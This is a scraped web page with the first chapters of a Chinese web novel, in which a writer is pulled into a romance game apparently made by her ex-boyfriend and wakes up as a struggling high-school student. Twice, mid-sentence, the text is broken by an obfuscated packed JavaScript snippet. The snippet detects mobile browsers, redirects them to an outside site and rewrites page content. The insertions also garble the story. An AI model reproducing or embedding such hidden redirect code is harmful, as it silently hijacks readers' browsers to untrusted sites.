《编外NPC也要努力工作》 1. 回老家了 不是所有事情的开始都有逻辑,人们预测不到,也无法干预,所以它按照预定轨迹挤进梁千芙的命运时,她的结局就已经被开膛破肚。 不过那都是后话了,眼下最重要的事情是把最后一箱衣服搬到新房子里,还要把房子打扫一遍,等忙完了都快后半夜了,她仰倒在沙发上,累的一点都不想动了。 大学毕业后,梁千芙在广告公司干文案,灵魂和□□都已经像甘蔗渣一样干瘪了,就这样哄着自己上了两年班,上一秒账户余额刚刚够付清这栋房子的尾款,下一秒辞职信已经交到经理办公室了。她一直就是一个这样的人,得过且过。 梁千芙随手抓起遥控器准备随便找个电影看看。手机铃响了,梁千芙看了一眼茶几上的手机,是编辑柳歆的来电。梁千芙撑着身子坐起来把手机扣过去,此时她只想装死。可柳歆还是不依不挠地打电话给她,实在是被吵得没办法,梁千芙接起电话,但没有说话。 “梁千芙!”柳歆暴怒的声音快刺穿梁千芙的耳膜,“多久没发文了?读者在微博底下催更催死了!不管你最近在干嘛,明天中午十二点把第32章给我传上去!” 梁千芙还没来得及找个借口,那头就把电话挂了。梁千芙瘫在沙发上,脑袋有一下没一下地撞着靠背,深深地叹了口气。每次被催更的时候她就觉得自己是从一个火坑跳到了另外一个火坑里,钱真的难挣啊。 不过没事,梁千芙一直都有点拖延症,虽然这对一个小说作者来说有点致命,不过她一直有存稿的习惯,只要交一篇存稿上去就好了。这样安慰着自己,梁千芙还是够到了遥控器。 好不容易找到一个心仪的,梁千芙把遥控器一扔,陷在沙发里,准备今晚就在沙发上凑合一晚,等明天把被子什么的晒一晒再睡床上。可是电影没打开,取而代之的是提示VIP已经过期的消息,还附上了现在每种类型的VIP价格。梁千芙兴致缺缺,这个房子是买的二手房,电视也是上一任房主剩下的,原本抱着这个电视里VIP还没过期的侥幸心理,这下真是给她当头一棒。 电视看不了了,她在沙发上磨磨蹭蹭了好久,这里扣扣,那里摸摸,就是不想干活儿。当第一抹曙光顺着窗帘缝照进屋里的时候,她还是老老实实从行李箱中拿出电脑,走进书房。 梁千芙坐在书桌前,没有着急开始工作,而是环视了这间房子,思考着还能做点什么再消磨一下时间,毕竟要工作的时候就会发现世界上其他所有事情都变得有趣了。 目光再次不自觉盯着那个上了锁的柜子。 其实之前来看房的时候她就注意到了,中介当时说联系了上一任房主,房主说这个锁是不知道哪一任租户上的,他让梁千芙看着自己处理。因为房子的储物空间挺多的,当时梁千芙就也没想着把这个锁打开。可今时不同往日,今天这个锁她开定了。 在经历了锤子、钳子甚至还有一字夹的摧残后,这个小锁总算结束了它的一生。柜子打开,映入眼帘的是几个塑料箱子。掀开箱子上的防尘布,里面装着的是不同类型的游戏光碟。梁千芙拖过最上面的箱子翻了翻,逐渐震惊于箱子主人很强的收藏能力,箱子里的游戏光碟按年份算有的比她还老,各式各样,还有很多绝版和海外限定的光碟。 梁千芙对游戏没什么兴趣,主要是受她前男友的影响。此人是个游戏设计师,梁千芙和他谈恋爱别的没学上,倒是为了增加聊天话题,恶补了很多游戏相关的知识。 翻了两个箱子后实在是有些无聊了,原本期待看到什么大瓜的梁千芙还是不得不工作。她戴上眼镜,专心地看着每个文件夹,企图找出一篇可以用的文章,可正在连载的两本书的存稿,梁千芙总看总觉得不太满意。她撑着头,在电脑前一脸苦相地改起文章。 好不容易快改完了,梁千芙伸了个懒腰,又仔细看了一遍文章,总觉得有些不满意。毕竟很久没有更过文了,梁千芙想着不能这么敷衍读者。一鼓作气,直接把这篇文删了,甚至狠心把回收站里的都删了,决定重新写一版。 于是,她对着空白的文档发了半个小时的呆,最后拿起手机搜索怎么把回收站里删除的内容恢复。 手机刚刚就放在了那个被锁着的柜子前。弯腰拿起手机的时候,她无意瞥到柜子里最下面的箱子后面有个盒子漏出了一角。抽出来一看,发现是一个包装精美的盒子,深蓝色的,看上去不大,扁扁的,上面还捆了黑色的丝带,像是一份很贵重的礼物。 梁千芙趴在桌上歪头观察着盒子,她的道德和好奇心在打架,不知道该不该就这样打开别人的东西。 思考两秒后,梁千芙很快说服自己打开盒子。盒子里面装着一张光盘,纯黑色的,静静躺在丝绒布上,也没有任何文字说明这个光盘里的内容。她扣住光盘孔,凑在台灯下仔细打量着,发现在外圈边缘的位置刻了一行字,眯起眼睛才勉强看清,上面写着“给爱妻的礼物”。 梁千芙一下子精神了,没想到这是一份承载了满满爱情的一份礼物啊。秉持着反正打开都打开了的心理,梁千芙想看看这光盘里到底是什么内容。她隐隐觉得这里面的内容说不定会给自己的写作带去灵感,想到这,她还是按下了光驱的按钮。 等了一会儿,电脑上加载出来一个游戏,名字就叫“哪有什么套路可言”,图标是一个像素风格的小女孩。其实梁千芙看到这说不失望是假的,她原本才想光盘里可能是零成本表白小片段或者恋爱照片什么的,但居然是个游戏。自从经历过前男友加班研发游戏,而忘记了两人的纪念日的事件后,她总是对游戏产生了莫名的敌意,爱打游戏的人也会受到波及。 不过,这个游戏的名字吸引了梁千芙的好奇心。网上竟然没有任何有关于这个游戏的资料。她有些纳闷,不知道这整的哪出,难道这个光盘的主人像古早狗血言情小说里的天才痴情男主一样,专门为他的妻子做了一个游戏吗?梁千芙一下否认了自己的这个想法,也觉得自己小说看多了写多了就总是想用小说里的套路来揣测现实生活的走向,有些可笑。之前前男友让她猜测他们公司设计的游戏剧情走向时,她就老是喜欢把故事剧情的走向狗血话,和真实的剧情大相径庭,前男友没少因此嘲讽她。总而言之,大概率来说这个游戏可能是某个公司在试玩阶段的产品,可能光盘上所刻的字也是游戏公司设计出来,增强玩家游玩体验的。 看着这个游戏字,梁千芙双手抱胸,靠在椅背上,总感觉这个游戏的开发者有点挑衅的意味。她本身就是和这些烂俗狗血套路打交道的人,这游戏的名字像是在和她宣战。一不做二不休,她打开了这个游戏,她倒要看看辛且随想怎么挑衅自己。 这个游戏的开始界面是暖色调的,一男一女的像素小人手牵着手,看上去十八岁左右,还穿着校服,似乎是站在教室外的走廊上。两个人都望向对方,梁千芙从他们的豆豆眼中都能感觉两人简直是蜜里调油,看得梁千芙鸡皮疙瘩直冒。 开始界面上的按键很简洁,只有“开始游戏”和“设置”这两个按键。鼠标落在“开始游戏”上后,屏幕闪黑一下,跳出来了一个关卡,上面写着“校园”。这个她最熟了,她就是写校园文起家的。下面还有一行小字:准备好来参加这场反常规套路的旅程了吗? 梁千芙没有犹豫,把鼠标指针移到“准备好了”的按键上,一按。 霎时间,一道白光从电脑屏幕中冲出来,直冲面门,梁千芙失去了知觉。 再次醒来,她坐在一个豪华到很夸张的椅子上,周围很明亮,像是在一个小花园里,周围有各式各样的花和草,空气非常清新,甚至隐隐约约还有蜜香味飘荡在空 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“辛且随,”梁千芙猛地一拍扶手站起来,伸手想指着它,可实在找不到声音来源,只好不甘地放下了手,“你再给我装呢?我俩当初在一起五年,你当我听不出你的声音啊!还有,你要是敢报我体重,你就等死吧!你最好赶快给我滚出来解释一下这到底是怎么回事!” 辛且随,就是梁千芙的那个搞游戏研发的前男友。当初两人分手闹的很不愉悦,甚至当时她还放了狠话说要跟辛且随老死不相往来。 那道声音被骂了,但也不生气,反而机械性地笑了两声:“哈哈,我不是辛且随,我只是以他的声纹为蓝本,有自己的思考的系统,不过我的思考也是依赖于辛且随的指令框架,我叫小辛。” “我管你小心还是粗心呢。世界怎么这么小,这游戏是辛且随搞得吧?赶快给我放出去,我还要工作呢!” 听梁千芙这样讲,那道声音恢复了原先的一本正经:“由于系统设置,您必须完成第一关校园文才能离开游戏,第二关游戏将在第一关游戏结束的两周后开启。只有顺利通过所有关卡,游戏才会结束。” “那如果我偏不呢?”梁千芙坐回椅子上,冷声回答。 “请玩家先体验游戏。在游戏世界中发生的一切不会影响现实生活,在游戏过程中现实世界的时间是静止的,并不会影响您的现实生活,而且……” 梁千芙拧眉听着。 系统故意停顿了一会儿,才继续用一种神秘且蛊惑人心的腔调说:“而且每个关卡通关后都有神秘的礼物哦,相信玩家您一定会喜欢。” 梁千芙没有接话,并不是因为她觉得这个礼物有多么诱人,而是她突然后知后觉,这个游戏是大概率就是辛且随做的,可为什么她会被吸进去?她按下心中的疑惑,没有直接发问,此时好奇心已经战胜了心头的愤怒,她并不能保证这个系统说的就是真话,还是得自己去探索一下。 “好吧,那,我不会死在游戏里吧。”梁千芙还是很谨慎的。 “不会,”小辛接话,顿了一会儿,它贱嗖嗖来了一句,那语气和辛且随说话时一模一样:“你不会害怕了吧?” 梁千芙慢悠悠换上小辛给她的校服外套,听闻此言,不屑回道:“笑话,不就是剧情游戏吗?和小说套路都差不多,我轻轻松松就能过关,完全是我的舒适区好吧,就跟回老家了没两样。” 小辛没有说话,只是低笑两声。 穿好校服,梁千芙对着不知道什么时候冒出的镜子照了又照,自己还是很嫩的嘛,完全不违和啊,就是看上去疲惫了一点,高中生应该也挺疲惫的吧。 小辛看着梁千芙沉溺于自己的美貌中,忍不住出声催促:“玩家梁千芙准备完毕,即将传入游戏世界。” “喂,你怎么这么急性子啊!这也是辛且随给你设定的吗?” “倒计时:三、二、一。” 2. 一切都好坏 “哎,小千,别睡了,放学了,回家睡去吧。” 梁千芙感觉有人在她耳边小声嘀咕了一句,而后拍了拍她的脸。她迷迷糊糊睁开眼,似乎是睡了很久,头有点昏昏沉沉的。她半低着头,光线涌入她的眼睛,眼前是两叠高叠着的课本和练习册,遮挡住了视线,天花板上吊着的风扇晃晃悠悠地转着,吹掀起放在桌子上的试卷。 她摸了摸脸上被书的棱角压出的印子,眯着眼睛去整理书包。像是形成了肌肉记忆,她能准确知道书包就放在自己的桌肚里。胡乱在桌面上抓了几张卷子放进书包,拖出书包站起身。 一起身,四目相对。 世界霎时都活过来了,四周响起了低低的笑声。梁千芙有点后知后觉,困意都消散不少。 一个大约四十多岁的中年男人坐在讲台前,应该是他们的老师。老师扶了一下眼镜,皱眉盯着书包都提在手里的梁千芙:“干嘛呢,你要回家了啊,现在到晚自习下课时间了吗?”老师伸出手指着她,“我刚刚就盯了你好久了,坐第一排还敢睡觉啊!梁千芙,你现在真是越来越懈怠了,距离高考还有多少天了啊还睡!” 梁千芙这才注意到黑板旁边有一块高考倒计时板,上面的天数倒计时已经到了131天,心里不经一阵哀怨:这个副本到底要干嘛,一百多天后要她去参加高考不是要了她老命吗?如果是十八岁的她,那绝对是能专心下来好好备战高考,可现在她已经深受短视频的摧残,耐心已经退化到了刷短视频都要快进的程度了,在想全身心投入学习中怕是很难了。 见她一直看着倒计时板发呆,老师也放软了语气,以为她是悔过自新了,用严厉的目光扫视了一圈那些看热闹不嫌事大的同学,他清了清嗓子:“哎,我也知道你压力大。你们也是,学习固然重要,但高三也是正是拼身体的时候,晚上也要注意睡眠啊。梁千芙,你晚上早点睡,下次别在晚自习睡觉了,坐下吧。” 终于逃过一劫,这下梁千芙完全清醒了。她晃了晃脑袋,重新把书包里的卷子倒回桌上。只一眼,就给了她大大的一个惊吓,一张英语期中考的卷子,上面赫然写着“70分,明天晚自习来办公室一趟!!!” 如果换是一般的高中生发现自己成绩这么差,早就崩溃了。可梁千芙可是一个经历过社会毒打的社畜,比起在公司受到的压力,这已经算不上什么了。她不信邪地把桌肚里压变形的卷子、掉在地上的卷子,还有桌面上能找到的所有卷子都拿出来,怀揣着自己是偏科的侥幸心理开始翻看。 十分钟后,梁千芙把自己从卷子堆里扯出来。 好消息:她真的偏科。 坏消息:她英语最好。 原以为英语是她的薄弱科,但没想到和语文数学比起来竟然都算强项了。那数学卷子就可怜的52分,更别提物理了,找出来好几张分数是个位数的卷子。 正当梁千芙托着下巴,思考着自己该从哪科补起时,从右边伸出一个手拉了拉梁千芙的袖子,打断了她的思绪,后者猛然转头看向受力的方向,看到了同桌还没来得及收回去的手。 同桌战术性后仰了一下,皱着眉看了她几秒,而后随手从自己的试卷上撕下一角,在上面奋笔疾书,把纸条推到了梁千芙的面前,上面写着:你生气了吗?我就是以牙还牙,你脸拉那么老长干嘛,吓死我了。好了,对不起嘛,谁让你之前也这样耍我啊。 在最后还跟了一个跪着的小人表情包。 梁千芙看了一眼同桌。同桌是一个娃娃脸的小女孩,眼睛大大的,瞳色是浅棕色的,鼻梁上还有点雀斑,长得有点像西方早期译制片里的农场主的女儿,像个混血儿。这个“农场主女儿”正疯狂眨眼睛,做出一种装可怜的动作,水汪汪的大眼睛仰视着她。 其实梁千芙也没生气,她当年上学的时候就属于脸皮比较厚的那种人,被老师拎出来做反面教材都是家常便饭,她也不甚在意,至少在遇见辛且随之前是这样的。 此刻她最关心的根本不是这个问题,她在纸条上写下了自己的问题,还给了同桌。同桌看了纸条,又狐疑地看了一眼她,点了点头。 好了,这下证实了两点。一,这个文里的考试和现实世界的考试分值是一样的,主科满分150,选修科满分100分;二,自己是个实打实的学渣,不对,是学沫。 接下来的晚自习时间,梁千芙下定决心一定要好好学习。良好的开头是成功的一半,她打算从英语开始努力。可看了没一会她就眼前的单词糊糊的,甚至出现了看差行的情况。她知道这是大脑在和自己作对,为了不让自己睡着,她向同桌借了只笔,边背边写。 不知过了多久,清脆的放学铃响了,这是梁千芙穿进来后听到过最悦耳的声音。她放下了笔,转了转脖子,自言自语着:“太充实了,今天真是辛苦我自己了。”目光落在草稿纸上,上面没有想象中工整写下的英语单词,而是一大堆乱七八糟的线条,中间甚至还歪七扭八夹杂了几条错误的物理和数学公式。 事已至此,梁千芙真是没办法了。只能祈祷着自己家里人已经给自己规划了别的路线,不需要参加高考的那种,比如家里很有钱能送她出国去读个野鸡大学啥的,要不以她自己现在的实力,考个专科都费劲。 梁千芙随着人群一起涌向教室门口,路过同桌的桌子时,梁千芙状似不经意地撞掉同桌的练习册,再趁乱抓住封面捡起来,成功地看到了练习册的第一页,上面写着同桌的名字:陈风迎。梁千芙在嘴里嘟囔几遍这个名字,没想到同桌的名字倒不像她长得那样洋气,反而有点古韵。 深夜的校园很安静,没有了白天的朝气蓬勃,反而有点阴森可怖。梁千芙漫步在校园里,她不知道自己家住在哪,也不知道家人的电话,呼叫小辛也没有回应。眼看时间太晚了,马上就要有保安来巡逻了,她做好了露宿街头的打算。 校门口没什么人了,不过有一个人很显眼,他在门外踮脚朝着校园里看,转而又来回踱步。梁千芙远远就看到他了,她明明不认识这个人,可总有一种很熟悉的感觉,不出意料的话这位应该是她的父亲。她走到离门口100米左右的时候,那个男人才刚看见她,咧着嘴朝她笑,还奋力朝她挥手,生怕她看不见。梁千芙庆幸现在还好没什么人,要不这真是有点丢人。 也是走近了才能发现,这个男人年纪看上去得有五十多了,个子不算高,大概就一米七五左右。头发挺茂密的,不过大多已经变成灰白色了,长相就是很普通的长相,没什么记忆点,除了眼睛。男人有一只眼睛装着义眼,整个眼球都泛白,看上去很吓人。他穿着一身脏兮兮的衣服,上面溅了泥点,手里还拎着一个安全帽。当他用带有很重的口音喊了一声“闺女!”的时候,梁千芙头都快埋到地里。 磨磨唧唧走到男人身边的时候,男人笑嘻嘻地伸出手,想去接她的书包。梁千芙下意识躲了一下,男人突然有些无措,收回了手,在衣摆上来回搓了几下。梁千芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁千芙一下子掀开被子坐起来,大声质问:“大哥,你跑哪去了?当时叫你你也不回答,我差点露宿街头你知道吗?而且,”她想起另一个房间的男人估计睡了,放低了声音,但语气还是恶狠狠的,“而且我的任务是什么啊?我怎么样才能离开这个世界呢?还有那个男人和我,到底是啥关系啊?” 她的话像是连环炮一样,小辛一时不知道咋说,只好慢慢解释,“你刚穿过来的时候我也在穿,所以信号连接有点问题,没听到你问我的话。你在这个世界的任务明天将会发放。有几个必须触发的主线任务,在事件中的选择会影响你的任务积分,如果脱离世界时积分达到5000分,就能拿到通关礼物;如果没达到,那未达到的积分数会被累计到下一个副本的目标积分中,而多的分数也可以被延到下一关,降低通关难度。在副本世界中,还存在一些道具,注意合理利用它们。你想怎么做就能怎么做,放轻松很简单的。至于身份背景嘛……” 小辛适时停下来卖了个关子,梁千芙可没什么耐心:“快说啊!” “你叫梁千芙,是一中的高三学生,为人和善,成绩其实挺好的。家庭呢,你家不是很富裕这你也看到了,不过你和你父亲关系很好,这点你可以放心。” 听完这些,梁千芙头更大了,更多疑问涌上来了。她还想问,小辛没给她问的机会,“额,总之呢,你要加油哦,脱离时间是在6月9号晚上十一点。其他的一些可以让你知道的信息我会在你睡觉的时候输入你的角色程序的,不过别的,需要你自己去探索哦。晚安啦千芙!” 那一夜梁千芙都没怎么睡好,她只希望接下来的生活不要太糟糕了。 3. 缘分差点撞死我 早晨,梁千芙叼着半片吐司呆呆的看着盘子里的煎鸡蛋,梁父还在旁边一边给她削苹果一边叮嘱她多吃点,可她现在只感觉自己的胃快被撑爆了。一杯牛奶、两个菜包、三个肉包、还有一片半吐司,这几乎快顶上一顿午餐的量了。 但她还是不断往嘴里塞食物。虽然和这个父亲相处时间很短,但就从这顿非常丰盛的早餐中,梁千芙第一次感受到了父爱。其实现实生活中她称为父亲的男人是他的继父,当年他妈妈是怀着她嫁给梁父的,因而梁父一直对她都很淡漠,把她当作透明人。思及此,梁千芙加快了吃饭的速度,她不想泼梁父冷水,只能委屈一下自己的胃了。 今天时间还早,她告别了父亲,选择走路去学校,还能消消食。 凌冽的东风吹在身上,吹醒了这座南方小镇,也吹醒了梁千芙。现在终于有时间让她消化一下关于这个角色的人设了。 家境贫寒,学习优异,但似乎有什么原因让她伪装了起来。她还有一个暗恋的人,但小辛没告诉她这个男生叫什么名字,她也不知道男生的长相。 小辛还提醒她,这个游戏里的有些情节是她无法掌控的,就是推剧情发展的关键。而且除了一些关键事件和特殊事件,还有两个主线任务,一个是找到男主,并和男主建立联系;另一个是顺利进入高考考场并参加完所有高考科目。每完成一个任务就能获得额外的礼物。所有奖励及时结算。 梁千芙走在小巷子里,细细琢磨小辛的话,这个角色也逐渐立在了心中。女主,也就是自己,应该是孤苦小白花人设。第一个任务像是攻略,不过一般来说应该告诉攻略的对象,可小辛却没有说,而且“建立联系“这个用词也很模糊,而第二个任务…… “同学,同学!麻烦让一下!” 梁千芙下意识朝着声音传来的方向望去,只见一个骑着点自行车的男生朝她冲过来。她还来不及把手从温暖的口袋里拿出来,就被撞倒了,没有支撑,一屁股坐在了地上。 梁千芙疼的直抽冷气,她撑着路边粗糙的墙,勉强站了起来,检查了一下,除了屁股很痛还有手腕有点轻微擦伤之外,其他的地方好像还好。 “哎,我说你怎么骑车的,快把我撞死了!”梁千芙拍了拍裤子上的灰,带着点怒气埋怨着男生,后者却没说话。 男生倒在了她左前方,情况好像比她严重很多,整个人趴在地上一动不动,头偏向一边,自行车压住了他的右脚。梁千芙拖着脚朝男生走去,她走到男生面前仔细打量着他。男生闭着眼,额头上有一片猩红的擦伤,有血迹从他的头顶缓缓流下来。 梁千芙吓傻了:“不是,这什么情况,有肇事者碰瓷被害人的吗?摔了一下就流了这么多血吗?” 她顾不上自己被撞痛的屁股,赶忙蹲下去看男生的情况,推了推他的肩膀:“你没事吧,哎,醒醒啊大哥。” 男生像是没听到一样,连眼皮都没动一下。梁千芙颤颤巍巍把手放到他脖子上,摸索着他的动脉,手指传来强而有力的跳动触感,她迅速收回手,怕男生突然一下醒来看到这尴尬的一幕。 梁千芙扶起压在男生身上的自行车,把他翻了个面,至少不要让他趴着压迫到气管。她有些无措,想把他扶起来可力气不够,只能让他在一年最冷的时候和大地来个亲密接触。 看到男生身上穿着的校服,又低头看了看自己身上的校服,不禁感概世界怎么这么小,他也是一中的学生,胸前挂着校园卡。 梁千芙用两根手指夹起他的校园卡,卡上贴了一张蓝底的证件照,照片边缘已经翘起,照片上的男生压低着眉眼,额前的碎发有点挡住了深褐色的眸子,眼尾微微上扬,带着少年特有的叛逆和不羁,鼻子高挺,嘴唇有点偏淡粉色,面颊瘦削,整个人虽然面无表情,但一股戾气正似有似无地从照片中传出,是一种不符合他年龄的气质。 照片下面是他的姓名和班级:高二(9)班秦如许。 一中就和这条小巷子隔了条大马路,眼看校门口的学生越来越少了,马上要到上早读的时间了,男生还是没有要醒来的迹象。她原本想打电话叫救护车,可全身翻了个遍都没找到手机,这才想起自己现在是个三好学生,上学的时候怎么会带手机呢。正当梁千芙思考着是把他放在这不管呢还是去学校找保安帮忙的时候,摩托轰鸣的声音划破了安静的小巷。 “姓秦的,你再跑啊,我今天打不死你我就不姓钱!” 暴怒的男声从身后的马路上传来,梁千芙回头一看,一个男生带着头盔,看不清面容,穿着一身红色的机车服,骑着一辆杜卡迪Panigale V4s,车前的挡风板上还卡着一根银色的钢棍,不由分说朝他们冲过来。 梁千芙的第一反应就是跑,她也这样做了。腿刚往前迈出半步就收了回来,这还有个人躺地上呢,而且处境似乎比她要危险,万一那个车一个没刹住从他身上碾过去来咋办。 她自诩不是什么圣母,但让草菅人命的事她也确实干不出来。梁千芙也顾不上那么多,弯腰把手从男生的胳膊下穿过,勉强抬起男生的上半身,边后退边把男生向后拖,累到面部扭曲。 “哎,你谁啊?别多管闲事,把他放下!”机车男的声音越逼越近,伴随着机车轰鸣声,像厉鬼的在催命,一下一下敲击着梁千芙的心。 不知道是不是肾上腺素飙升的关系,梁千芙感觉手上灌满了力量,脚下的步伐也越来越快,感觉现在拖着的不是一个活生生的人,而只是一个毛绒娃娃。 顾不上汗水流入眼睛的微微刺痛感,她回头看去,学校的样子越来越清晰,还有几步就能踏上马路了。 “呲啦,呲——”像是金属摩擦到了什么东西,紧接着机车男熟悉的声音从巷子那头传来,“卧槽,他妈的这棒子怎么卡住了!” 循声望去,梁千芙看到就在距离自己50米左右的地方,机车男还在不信邪地拧着油门,金属摩擦声更刺耳了,就是车和人纹丝不动。他用力去拔那根钢棍,人却差点一下因为重心不稳翻过去,气的机车男一边用力拍着车,一边破口大骂。 梁千芙一看,没忍住一笑出了声。她随手把男生放在地上,迈步朝着机车男走去,这么好笑的事,当然是得近距离笑一下咯。 机车男看着她朝自己走过来,立刻转变了攻击对象。梁千芙上下扫视了一眼机车男,轻轻地嗤笑了一声,笑得机车男都有点莫名其妙,“你笑什么?” “哦,我刚刚远远看到你,觉得你有点姿色啊,很美味的长相。”梁千芙如是说道,眯着眼睛,朝机车男抬了抬下巴。 机车男摸了摸自己罩的严严实实的头盔,犹豫中带来点暗喜,“啊,美味,有姿色,我嘛?可我没……” “对啊,一身红色的装扮,戴个大头盔,在那上蹿下跳的,很像一只被扔到锅里的大头虾,感觉马上就要熟了。” 不出所料,机车男彻底破防了,“你他妈的臭……” “嘘,别说话!”梁千芙突然一下蹲了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177225|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞得机车男都没反应过来,她打量着车的侧面,“天哪,这车太酷了,是什么牌子的啊?” 机车男一听这个来劲了,“哼,你个土包子不认识很正常。这辆车啊是杜卡迪Panigale V4很贵的,你看看就行了,别上手碰啊,你赔不起。” “哦哦,”梁千芙贱嗖嗖地抬起头,露出一个自认为礼貌的笑容,“哥们,你这么有钱下次买个增高鞋垫吧。你脚都够不太上地,没记错的话这车座高是830mm往上吧,看你这样你穿鞋有170吗?不对,有168吗?” “你他妈的,我今天,我,我绝对打你一顿!”机车男气的抓狂,发出怒吼。 “现在不像大头虾了,”梁千芙转身离开,“像红烧狮子头。” “哦对了,”像是想起来了什么,梁千芙回头,“哎,你知道吗?第二人称是‘你’,不是‘你他妈的’,我替你小学老师教一下你,所以,”梁千芙收起笑容,冷脸道:“下次跟陌生人说话,最好把你的嘴巴放干净点。” 梁千芙随意拍了拍手。果然,嘴臭的人就应该被她这种能说会道的人噎一下才能学乖。 她还没忘记那个可怜的小男生,远远就看着男生还像刚才那样,成大字形躺在地上。她忙跑几步,回到男生身边。 靠近了,梁千芙被吓了一大跳。男生看着和刚刚没什么差别,只是此刻睁着眼睛,一动不动地看着天上,眼神都直了。 “你,你什么时候醒的啊?”梁千芙问出口才发现觉得自己的语气听上去有些低三下四的,咳了两声掩饰了一下尴尬。 男生幽幽开口,嗓音淡淡,带着点慵懒:“你刚刚把我在地上拖行的时候我就醒了。” “啊,刚刚那时候情况紧急嘛。额,既然你醒了,怎么不坐起来啊,是不是身上疼啊,我扶你站起来吧。” 说这梁千芙就要去拽他的手,很强的一股阻力硬是阻止她拉男生,甚至差点一下把她都扯到地上。 “不是,你干嘛逆着我的劲啊,这样我扶不起你。”梁千芙无奈地看着他。 “不用了,你先去上课吧,我就在这躺一会儿,我困了。”男生缓缓闭上了眼睛。 梁千芙感觉有些莫名其妙:“你要睡你也不能在这睡啊,这里多凉啊。你哪怕去教室里趴在桌子上睡也比这强啊,快起来,我扶你去教室。你要在这冻死了或者伤到哪里了我可付不起责任,快点。”梁千芙加大了手上的力道,男生还在拼死往下赖。 她火气一下子就上来了,她最烦做事特别肉的人,况且这男把自己撞了还没道歉赔偿呢:“快起来!”梁千芙一只手抓着男生的手,另一只手抠住男生的后脖颈,把他往上拉,男生紧紧攥住自己的衣角往下赖。两个人就在巷子里拉扯起来。 “你给我起来!” “不要拉了,我真的谢谢你了,别扯我衣领了。” “起来!”梁千芙咬牙用力把他往上提溜,像是在喊劳工号子。刚好不容易把男生上半身捞起来,他又用力往地上倒。 “真不要,求求你了别拽我!”男生已经快崩溃了,声音也夹不住了,像一只绝望的唐老鸭在苦苦哀求。 梁千芙胜负欲也上来了:“我还拽不动你了!你今天必须起来!” 男生用另一只手捂住自己的脸,崩溃大喊,“真别拽了!我裤子被磨破了!内裤露出来了!” 梁千芙这辈子到目前为止吃鱼都没被卡过喉咙,今天被那句还没说出口的“起来”卡住了。 4. 如果倒霉是一种天赋 讲台上数学老师正滔滔不绝地讲着二模的最后一道大题,下面的同学们都像是被点了什么穴一般,点头点个不停,远远看上去还真像是一群努力学习的同学在回应老师讲的内容,要不是梁千芙站在门口看见第一排的同学口水都流到笔上了,她差点也信了。 此刻的她,随手把数学考卷放在窗沿上,调整了一个舒服的站姿,靠站在教室门口外的墙上,看着走廊外仍然泛着绿的香樟树和叽叽喳喳的鸟群,耳旁伴随着数学老师苦口婆心说教同学的声音,一股倦意涌上来。梁千芙握紧的手渐渐松开,那个丑丑的玩偶挂件掉落在地。 一个小时前,秦如许把校服外套从羽绒服里脱下系在腰间,一趋一步跟在梁千芙身后。他们在街上狂奔,快到校门口时,上课铃还是响了,保安大哥忽视了他们恳切的眼神,在他们即将踏入学校的那一刻将两人拦在门外,按校规扣了他们的班级分。 梁千芙和秦如许两个人头都快埋到地下,在保安大哥的注视下朝着教学楼走去。 刚一走到保安大哥的视野盲区,秦如许便停住了脚步,坐在楼外花坛边缘。梁千芙走在他前面,走到楼梯口,一回头发现人不见了。按原路找回去,就看到秦如许把书包枕在脑后,一只胳膊挡住眼睛,另一只胳膊自然垂落在地,翘着二郎腿,整个人悠闲地躺在花坛边缘。 说实话,看到他这副样子,梁千芙还是有些无语,没想到这人看着人模狗样的,行为却有点流里流气。但秉持着好人做到底的原则,梁千芙还是走过去,拍了一下他的肩膀:“走啊,都迟到了你咋还不回班上课,干嘛在这躺在?” 秦如许转过身,背对着梁千芙:“现在回去干嘛,马上就要到跑操时间了。” 梁千芙无话可说。既然打不过就加入,正好她也不喜欢跑操。 他们现在所在的位置是教学楼的北面,正常情况下同学们到操场上都会从南面楼梯下楼,一般不会看见的花坛这边的情况。但梁千芙还是觉得花坛边太开阔了,还是有可能被发现,于是提出了自己的建议:“但是在这里很容易被发现我俩逃了跑操吧,既然要躲不如我们躲在厕所里吧,感觉那里应该不会被检查员发现。” 秦如许听闻此言坐了起来,眯着眼睛盯着她:“不是,其实我……” 就在此时,跑操铃响起,身后楼梯处隐隐约约传来了同学们下楼和说话的声音。梁千芙打断秦如许没有说完的话:“快点,你走不走,现在被检查员发现就完蛋了,迟到加逃跑操,肯定得被班主任骂死,还不如躲起来让班主任以为我们是跑操结束了才到学校的。” 秦如许依然坐怀不乱,淡定地在书包里翻找着什么。 梁千芙看他这个样子也管不了了,好言难劝该死的鬼,她瞄准一楼女厕所的位置就是一个冲刺。 可还没跑出去几步,手臂处就传来一个力量拉住了她。梁千芙回头,看见秦如许抓着她的胳膊,另一只手里还抓着不知道从哪里变出来的计分板。 “高三(9)班梁千芙,逃跑操,扣班级分3分。”秦如许边说边往板子上写写画画。 梁千芙惊讶地张开了嘴巴,秦如许主动侧过身,露出右肩上别着的袖徽,上面明晃晃的三个大字“检查员”刺得梁千芙大脑空白:“你……你是检查员?” 秦如许点了点头,随即看也不看呆在原地的梁千芙,朝着操场的方向走去。 与此同时,小辛不合时宜的声音响起:“叮!恭喜宿主触发特殊事件——忘恩负义,奖励积分300,此关总积分300。”这听起来就像是深深的讽刺,梁千芙咬牙切齿让它闭嘴。 梁千芙回过神追上去:“你,秦如许你恩将仇报!你怎么能这样!我今天就多余管你,你停下!” 前面的秦如许也加快了脚步,两人你追我赶,梁千芙最后还是没追上他,只抓住了他书包上的挂件,一用力还给扯掉了。 